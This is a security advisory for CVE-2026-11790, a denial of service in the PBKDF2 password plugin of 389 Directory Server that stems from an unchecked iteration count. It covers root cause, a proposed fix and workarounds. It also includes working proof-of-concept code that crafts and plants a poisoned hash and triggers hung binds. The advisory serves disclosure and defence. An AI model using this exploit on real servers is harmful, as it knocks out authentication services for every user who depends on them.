// Moderate (4.9)
CVE-2026-11790

PBKDF2 password storage plugin unbounded iteration count DoS

CVE ID
CVE-2026-11790
Product
389-ds-base
Severity
Moderate (4.9)
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
CWE
CWE-400
Red Hat CVE
Red Hat CVE page

Summary

The pbkdf2_sha256_pw_cmp() function in the 389 Directory Server PBKDF2 password storage plugin extracts the iteration count from the stored hash without any upper bound check. An attacker with Directory Manager privileges can store a crafted {PBKDF2_SHA256} password hash with an extreme iteration count (e.g., 0x7FFFFFFF), causing any subsequent LDAP BIND to that account to consume one CPU core for 24+ hours. Multiple crafted accounts can exhaust the bind thread pool, making the server unresponsive to all operations. Both the C plugin (pbkdf2_pwd.c) and the Rust plugin (pwdchan/lib.rs) are affected.

The crafted hash is structurally valid (correct total length, proper format) and passes all existing validation checks including the CVE-2024-5953 fix. Only the iteration count is abnormal. This is distinct from CVE-2024-5953, which added a hash length check but not an iteration cap.

The denial of service is persistent — the crafted hash persists in the database and re-triggers on every bind attempt until an administrator manually fixes the entry. Recovery requires DM access to the database to replace the poisoned hashes, which may be difficult if the DM account itself is poisoned.

Affected Versions

The PBKDF2-SHA256 password storage scheme was introduced in 389-ds-base 1.3.6 (commit 542287ce7, “Ticket 397 - Add PBKDF2 to Directory Server password storage”). The compare path has never had an upper bound check on the extracted iteration count.

PackageStatus
389-ds-base (upstream)>= 1.3.6 through 3.2.0-dev (since 2016)
389-ds-base (Fedora 42)3.1.4-6.fc42 — Confirmed vulnerable (PoC hang)
RHEL 7389-ds-base-1.3.x — Vulnerable (code present)
RHEL 8389-ds-base-1.4.x — Vulnerable (code present)
RHEL 9389-ds-base-2.x — Vulnerable (code present)
RHEL 10389-ds-base-3.x — Vulnerable (code present)

Affected Products

ProductVersion389-ds-base versionStatusVerification
389 Directory Server (upstream)1.3.6+All since Ticket 397AffectedSource: commit 542287ce7 introduced PBKDF2. Bug present in current main branch.
Red Hat Directory Server 1010.x1.3.xAffectedRHDS 10 = 389-ds-base 1.3.x on RHEL 7. PBKDF2 introduced in 1.3.6.
Red Hat Directory Server 1111.x1.4.xAffectedRHDS 11 = 389-ds-base 1.4.x on RHEL 8.
Red Hat Directory Server 1212.0-12.72.0.x-2.7.xAffectedRHDS 12 = 389-ds-base 2.x on RHEL 9.
Red Hat Directory Server 1313.0-13.13.xAffectedRHDS 13 = 389-ds-base 3.x on RHEL 10. Tested version (3.1.4) is affected.
RHEL 7 (IdM/FreeIPA)7.0-7.91.3.xAffectedRHEL 7 ships 389-ds-base 1.3.5+. PBKDF2 introduced in 1.3.6.
RHEL 8 (IdM/FreeIPA)8.0-8.101.4.xAffectedRHEL 8 ships 389-ds-base 1.4.x via 389-ds:1.4 module. CVE-2024-5953 fix did not add iteration cap.
RHEL 9 (IdM/FreeIPA)9.0-9.62.0.x-2.6.xAffectedRHEL 9 ships 389-ds-base 2.x. CVE-2024-5953 fix did not address this vulnerability.
RHEL 10 (IdM/FreeIPA)10.0-10.13.xAffectedRHEL 10 ships 389-ds-base 3.x. CVE-2024-5953 fix did not address this vulnerability.
Fedora~26 through 421.3.x through 3.xAffectedAll Fedora releases shipping 389-ds-base >= 1.3.6. Tested: Fedora 42 with 389-ds-base-3.1.4-6.fc42 — PoC confirmed.
CentOS / CentOS Stream7, 8, 9, 10Matches RHELAffectedCentOS/Stream tracks RHEL.

Verification method: The pbkdf2_sha256_extract() function has never had an iteration upper bound check. CVE-2024-5953 fix (commit 9e6cefb) did not add one.

Architecture Validation

This vulnerability is a pure logic bug with no dependence on architecture.

ArchitectureStatus
x86_64Confirmed: 30+ second bind hang at 10M iterations (Fedora 42)
aarch64Untested (architecture-independent logic)
s390xUntested
ppc64leUntested

The vulnerability is a CPU-bound computation with no architecture dependency.

Root Cause

File: ldap/servers/plugins/pwdstorage/pbkdf2_pwd.c Function: pbkdf2_sha256_pw_cmp()

The pbkdf2_sha256_extract() function reads the iteration count from the first 4 bytes of the stored hash and converts from network byte order. No maximum is enforced:

void pbkdf2_sha256_extract(char *hash_in, SECItem *salt, uint32_t *iterations) {
    memcpy(iterations, hash_in, PBKDF2_ITERATIONS_LENGTH);
    *iterations = ntohl(*iterations);  // attacker-controlled, no cap
    // ...
}

The encode path uses PBKDF2_MINIMUM (2048) as a floor and the design doc specifies 10,000,000 as the maximum for the configuration parameter, but neither bound is applied in the compare path.

The Rust plugin (src/plugins/pwdchan/src/lib.rs) has the same issue: MAX_PBKDF2_ROUNDS = 10,000,000 exists but is only enforced in set_pbkdf2_rounds(), not in pbkdf2_compare().

Proposed Fix

/* BEFORE (vulnerable): */
pbkdf2_sha256_extract(dbhash, &saltItem, &iterations);
if (pbkdf2_sha256_hash(userhash, PBKDF2_HASH_LENGTH,
                        &passItem, &saltItem, iterations) != SECSuccess) {

/* AFTER (fixed): */
pbkdf2_sha256_extract(dbhash, &saltItem, &iterations);

/* Reject stored hashes with unreasonable iteration counts */
if (iterations > PBKDF2_MAX_ITERATIONS) {
    slapi_log_err(SLAPI_LOG_ERR, schemeName,
                  "Stored hash has excessive iteration count (%" PRIu32
                  " > %" PRIu32 "), rejecting\n",
                  iterations, PBKDF2_MAX_ITERATIONS);
    return 1;  /* fail comparison */
}

if (pbkdf2_sha256_hash(userhash, PBKDF2_HASH_LENGTH,
                        &passItem, &saltItem, iterations) != SECSuccess) {

Where PBKDF2_MAX_ITERATIONS is set to 10000000 (matching the design doc maximum). The same fix is needed in the Rust plugin’s pbkdf2_compare(): add if iterations > MAX_PBKDF2_ROUNDS { return Err(...); } before the pbkdf2_hmac() call.

Proof of Concept

PoC source code: CVE-2026-11790 on GitHub

The PoC script poc/012-pbkdf2-unbounded-iterations-dos.py automates the full exploitation flow:

  1. Performs a baseline bind to measure normal response time (~7ms)
  2. Crafts a structurally valid {PBKDF2_SHA256} hash with an attacker-specified iteration count (default: 10,000,000)
  3. Plants the crafted hash on the target user account via LDAPI EXTERNAL
  4. Attempts a bind as the poisoned user with a timeout

Hash construction:

import struct, base64, os

iterations = 0x7FFFFFFF  # ~2.1 billion -- blocks bind for 24+ hours
salt = os.urandom(64)    # PBKDF2_SALT_LENGTH
fake_hash = os.urandom(256)  # PBKDF2_HASH_LENGTH

payload = struct.pack('!I', iterations) + salt + fake_hash
encoded = base64.b64encode(payload).decode()
crafted = '{PBKDF2_SHA256}' + encoded

# Total decoded size: 4 + 64 + 256 = 324 bytes = PBKDF2_TOTAL_LENGTH
# This passes the CVE-2024-5953 length check (324 == sizeof dbhash)

The crafted hash is structurally valid (correct total length, proper format) and passes all existing validation checks including the CVE-2024-5953 fix. Only the iteration count is abnormal.

Usage:

python3 poc/012-pbkdf2-unbounded-iterations-dos.py ldap://localhost:389 \
    "uid=testuser,dc=test,dc=com" --iterations 10000000 --timeout 30

Prerequisites:

  • A 389 Directory Server instance
  • Directory Manager credentials (or nsslapd-allow-hashed-passwords: on for a non-DM user)
  • A test user account (e.g., uid=testuser,dc=test,dc=com)

System tested: 389-ds-base-3.1.4-6.fc42.x86_64, Fedora 42 container.

Expected result: At 10,000,000 iterations, the bind exceeds 30 seconds (exit code 124 from timeout). The server is still running but the bind thread is pegged at 100% CPU. At 0x7FFFFFFF (~2.1 billion) iterations, the bind would block for 24+ hours.

Manual Reproduction

  1. Note baseline bind time:

    time ldapsearch -x -H ldap://localhost:389 -D "uid=testuser,dc=test,dc=com" \
        -w "testpassword123" -b "" -s base "(objectclass=*)"
    # Expected: ~7ms
  2. Craft and plant a {PBKDF2_SHA256} hash with 10,000,000 iterations:

    python3 -c "
    import struct, base64, os
    payload = struct.pack('!I', 10_000_000) + os.urandom(64) + os.urandom(256)
    print('{PBKDF2_SHA256}' + base64.b64encode(payload).decode())
    " | xargs -I{} ldapmodify -H ldapi:// -Y EXTERNAL <<EOF
    dn: uid=testuser,dc=test,dc=com
    changetype: modify
    replace: userPassword
    userPassword: {}
    EOF
  3. Trigger the DoS:

    timeout 30 ldapsearch -x -H ldap://localhost:389 \
        -D "uid=testuser,dc=test,dc=com" -w "anypassword" \
        -b "" -s base "(objectclass=*)"
  4. Expected result: Command times out after 30 seconds (exit code 124). Server is still running but the bind thread is pegged at 100% CPU. At 0x7FFFFFFF iterations, the bind would block for 24+ hours.

Impact

CVSS 3.1: 4.9 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H)

ComponentValueJustification
AVNetworkTriggered via LDAP BIND (ports 389/636)
ACLowDeterministic — attacker controls the iteration count
PRHighRequires DM or nsslapd-allow-hashed-passwords
UINoneAny bind to the poisoned account triggers it
SUnchangedImpact limited to the LDAP process
CNoneCPU consumption only
INoneNo data modification
AHighCPU core consumed for hours/days; thread pool exhaustion

Poisoned accounts cause bind threads to hang for hours. With enough poisoned accounts bound simultaneously, the thread pool is exhausted and the server becomes unresponsive to all operations — effectively a persistent full-service denial of service. Recovery requires DM access to the database to replace the poisoned hashes, which may be difficult if the DM account itself is poisoned.

Both findings affect downstream services including FreeIPA/IdM, Dogtag Certificate System, SSSD, and Kerberos KDC. However, the PR:H prerequisite significantly reduces the likelihood of exploitation.

Comparable CVEs

CVESoftwareBug classCVSSComparison
CVE-2024-5953389-ds-baseMalformed userPassword hash DoSModerateDirect predecessor — this finding is a related but distinct issue in the same code area. CVE-2024-5953 added a hash length check but not an iteration cap.
CVE-2024-2199389-ds-baseDoS via malformed userPasswordModerateSimilar: crafted password hash causes DoS. Same PR:H prerequisite.

Workaround

  1. Disable nsslapd-allow-hashed-passwords (default: off). This prevents non-DM users from setting pre-hashed passwords. DM credential compromise is still a risk.

  2. Restrict Directory Manager credentials. Use dedicated DM accounts with strong passwords. Limit DM access to management networks. Audit DM operations via nsslapd-auditlog.

  3. Monitor for suspicious userPassword modifications. Enable audit logging (nsslapd-auditlog-logging-enabled: on) and alert on userPassword changes containing unusual hash schemes or large base64 payloads.

  4. Monitor for unusually long bind operations in the access log. A bind taking more than a few seconds to the same account may indicate a poisoned PBKDF2 hash.

Timeline

DateEvent
2026-04-14Discovered during 389-ds-base security assessment
2026-04-15Reported to vendor
TBDPatch released
TBDPublic disclosure

References

  • Red Hat CVE page
  • NVD
  • CVE-2024-5953: 389-ds-base malformed userPassword hash DoS. Fixed by commit 9e6cefb. Added length validation but did not add iteration count bounds.
  • CVE-2024-2199: 389-ds-base DoS via malformed userPassword. Similar attack pattern (crafted hash, PR:H).
  • Commit 542287ce7: Introduced PBKDF2-SHA256 password storage (389-ds-base 1.3.6, “Ticket 397”). Origin of this vulnerability.

Credits

Discovered by Ian Murphy during a security assessment of 389-ds-base. Identified through source code review and static analysis. Confirmed via manual source review and production PoC on 389-ds-base-3.1.4-6.fc42.